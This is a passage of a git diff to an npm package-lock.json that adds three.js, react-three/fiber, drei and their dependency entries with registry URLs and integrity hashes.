"resolved": "https://registry.npmjs.org/@next/env/-/env-16.0.10.tgz",
|
||||
@@ -701,6 +738,95 @@
|
||||
"node": ">= 10"
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/drei": {
|
||||
"version": "10.7.7",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-10.7.7.tgz",
|
||||
"integrity": "sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.26.0",
|
||||
"@mediapipe/tasks-vision": "0.10.17",
|
||||
"@monogrid/gainmap-js": "^3.0.6",
|
||||
"@use-gesture/react": "^10.3.1",
|
||||
"camera-controls": "^3.1.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"detect-gpu": "^5.0.56",
|
||||
"glsl-noise": "^0.0.0",
|
||||
"hls.js": "^1.5.17",
|
||||
"maath": "^0.10.8",
|
||||
"meshline": "^3.3.1",
|
||||
"stats-gl": "^2.2.8",
|
||||
"stats.js": "^0.17.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"three-mesh-bvh": "^0.8.3",
|
||||
"three-stdlib": "^2.35.6",
|
||||
"troika-three-text": "^0.52.4",
|
||||
"tunnel-rat": "^0.1.2",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"utility-types": "^3.11.0",
|
||||
"zustand": "^5.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@react-three/fiber": "^9.0.0",
|
||||
"react": "^19",
|
||||
"react-dom": "^19",
|
||||
"three": ">=0.159"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/fiber": {
|
||||
"version": "9.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.5.0.tgz",
|
||||
"integrity": "sha512-FiUzfYW4wB1+PpmsE47UM+mCads7j2+giRBltfwH7SNhah95rqJs3ltEs9V3pP8rYdS0QlNne+9Aj8dS/SiaIA==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.17.8",
|
||||
"@types/webxr": "*",
|
||||
"base64-js": "^1.5.1",
|
||||
"buffer": "^6.0.3",
|
||||
"its-fine": "^2.0.0",
|
||||
"react-use-measure": "^2.1.7",
|
||||
"scheduler": "^0.27.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"zustand": "^5.0.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"expo": ">=43.0",
|
||||
"expo-asset": ">=8.4",
|
||||
"expo-file-system": ">=11.0",
|
||||
"expo-gl": ">=11.0",
|
||||
"react": ">=19 <19.3",
|
||||
"react-dom": ">=19 <19.3",
|
||||
"react-native": ">=0.78",
|
||||
"three": ">=0.156"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"expo": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-asset": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-file-system": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-gl": {
|
||||
"optional": true
|
||||
},
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
},
|
||||
"react-native": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.15",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
|
||||
@@ -981,6 +1107,18 @@
|
||||
"tailwindcss": "4.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tweenjs/tween.js": {
|
||||
"version": "23.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
|
||||
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/draco3d": {
|
||||
"version": "1.4.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz",
|
||||
"integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/node": {
|
||||
"version": "22.19.15",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.15.tgz",
|
||||
@@ -991,11 +1129,16 @@
|
||||
"undici-types": "~6.21.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/offscreencanvas": {
|
||||
"version": "2019.7.3",
|
||||
"resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz",
|
||||
"integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/react": {
|
||||
"version": "19.2.14",
|
||||
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz",
|
||||
"integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
@@ -1012,6 +1155,133 @@
|
||||
"@types/react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/react-reconciler": {
|
||||
"version": "0.28.9",
|
||||
"resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz",
|
||||
"integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/react": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/stats.js": {
|
||||
"version": "0.17.4",
|
||||
"resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz",
|
||||
"integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/three": {
|
||||
"version": "0.183.1",
|
||||
"resolved": "https://registry.npmjs.org/@types/three/-/three-0.183.1.tgz",
|
||||
"integrity": "sha512-f2Pu5Hrepfgavttdye3PsH5RWyY/AvdZQwIVhrc4uNtvF7nOWJacQKcoVJn0S4f0yYbmAE6AR+ve7xDcuYtMGw==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@dimforge/rapier3d-compat": "~0.12.0",
|
||||
"@tweenjs/tween.js": "~23.1.3",
|
||||
"@types/stats.js": "*",
|
||||
"@types/webxr": ">=0.5.17",
|
||||
"@webgpu/types": "*",
|
||||
"fflate": "~0.8.2",
|
||||
"meshoptimizer": "~1.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/webxr": {
|
||||
"version": "0.5.24",
|
||||
"resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz",
|
||||
"integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/core": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz",
|
||||
"integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/react": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz",
|
||||
"integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@use-gesture/core": "10.3.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": ">= 16.8.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@webgpu/types": {
|
||||
"version": "0.1.69",
|
||||
"resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.69.tgz",
|
||||
"integrity": "sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==",
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/base64-js": {
|
||||
"version": "1.5.1",
|
||||
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
|
||||
"integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/bidi-js": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
|
||||
"integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"require-from-string": "^2.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/buffer": {
|
||||
"version": "6.0.3",
|
||||
"resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
|
||||
"integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"base64-js": "^1.3.1",
|
||||
"ieee754": "^1.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/camera-controls": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-3.1.2.tgz",
|
||||
"integrity": "sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22.0.0",
|
||||
"npm": ">=10.5.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.126.1"
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001777",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001777.tgz",
|
||||
@@ -1059,13 +1329,53 @@
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-env": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz",
|
||||
"integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"cross-spawn": "^7.0.1"
|
||||
},
|
||||
"bin": {
|
||||
"cross-env": "src/bin/cross-env.js",
|
||||
"cross-env-shell": "src/bin/cross-env-shell.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.14",
|
||||
"npm": ">=6",
|
||||
"yarn": ">=1"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-spawn": {
|
||||
"version": "7.0.6",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
|
||||
"integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/csstype": {
|
||||
"version": "3.2.3",
|
||||
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
|
||||
"integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/detect-gpu": {
|
||||
"version": "5.0.70",
|
||||
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
|
||||
"integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"webgl-constants": "^1.1.1"
|
||||
}
|
||||
},
|
||||
"node_modules/detect-libc": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
|
||||
@@ -1076,6 +1386,12 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/draco3d": {
|
||||
"version": "1.5.7",
|
||||
"resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz",
|
||||
"integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/enhanced-resolve": {
|
||||
"version": "5.20.0",
|
||||
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.0.tgz",
|
||||
@@ -1090,6 +1406,18 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/fflate": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
|
||||
"integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/glsl-noise": {
|
||||
"version": "0.0.0",
|
||||
"resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz",
|
||||
"integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/graceful-fs": {
|
||||
"version": "4.2.11",
|
||||
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
|
||||
@@ -1097,6 +1425,62 @@
|
||||
"dev": true,
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/hls.js": {
|
||||
"version": "1.6.15",
|
||||
"resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz",
|
||||
"integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/ieee754": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
|
||||
"integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/immediate": {
|
||||
"version": "3.0.6",
|
||||
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
|
||||
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/is-promise": {
|
||||
"version": "2.2.2",
|
||||
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
|
||||
"integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/isexe": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
||||
"integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/its-fine": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/its-fine/-/its-fine-2.0.0.tgz",
|
||||
"integrity": "sha512-KLViCmWx94zOvpLwSlsx6yOCeMhZYaxrJV87Po5k/FoZzcPSahvK5qJ7fYhS61sZi5ikmh2S3Hz55A2l3U69ng==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/react-reconciler": "^0.28.9"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": "^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jiti": {
|
||||
"version": "2.6.1",
|
||||
"resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz",
|
||||
@@ -1107,6 +1491,15 @@
|
||||
"jiti": "lib/jiti-cli.mjs"
|
||||
}
|
||||
},
|
||||
"node_modules/lie": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
|
||||
"integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"immediate": "~3.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/lightningcss": {
|
||||
"version": "1.31.1",
|
||||
"resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.31.1.tgz",
|
||||
@@ -1377,6 +1770,16 @@
|
||||
"react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
|
||||
}
|
||||
},
|
||||
"node_modules/maath": {
|
||||
"version": "0.10.8",
|
||||
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
|
||||
"integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/three": ">=0.134.0",
|
||||
"three": ">=0.134.0"
|
||||
}
|
||||
},
|
||||
"node_modules/magic-string": {
|
||||
"version": "0.30.21",
|
||||
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
|
||||
@@ -1387,6 +1790,21 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.5.5"
|
||||
}
|
||||
},
|
||||
"node_modules/meshline": {
|
||||
"version": "3.3.1",
|
||||
"resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz",
|
||||
"integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.137"
|
||||
}
|
||||
},
|
||||
"node_modules/meshoptimizer": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-1.0.1.tgz",
|
||||
"integrity": "sha512-Vix+QlA1YYT3FwmBBZ+49cE5y/b+pRrcXKqGpS5ouh33d3lSp2PoTpCw19E0cKDFWalembrHnIaZetf27a+W2g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/nanoid": {
|
||||
"version": "3.3.11",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
|
||||
@@ -1495,6 +1913,15 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/path-key": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/picocolors": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
|
||||
@@ -1530,6 +1957,22 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/potpack": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz",
|
||||
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/promise-worker-transferable": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
|
||||
"integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"is-promise": "^2.1.0",
|
||||
"lie": "^3.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/react": {
|
||||
"version": "19.2.0",
|
||||
"resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",
|
||||
@@ -1553,6 +1996,30 @@
|
||||
"react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/react-use-measure": {
|
||||
"version": "2.1.7",
|
||||
"resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz",
|
||||
"integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=16.13",
|
||||
"react-dom": ">=16.13"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/require-from-string": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
|
||||
"integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/scheduler": {
|
||||
"version": "0.27.0",
|
||||
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
|
||||
@@ -1617,6 +2084,27 @@
|
||||
"@img/sharp-win32-x64": "0.34.5"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-command": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
|
||||
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"shebang-regex": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-regex": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
|
||||
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/source-map-js": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
|
||||
@@ -1626,6 +2114,32 @@
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl": {
|
||||
"version": "2.4.2",
|
||||
"resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz",
|
||||
"integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "^0.170.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl/node_modules/three": {
|
||||
"version": "0.170.0",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz",
|
||||
"integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/stats.js": {
|
||||
"version": "0.17.0",
|
||||
"resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz",
|
||||
"integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/styled-jsx": {
|
||||
"version": "5.1.6",
|
||||
"resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
|
||||
@@ -1649,6 +2163,15 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/suspend-react": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
|
||||
"integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=17.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tailwind-merge": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz",
|
||||
@@ -1680,12 +2203,118 @@
|
||||
"url": "https://opencollective.com/webpack"
|
||||
}
|
||||
},
|
||||
"node_modules/three": {
|
||||
"version": "0.183.2",
|
||||
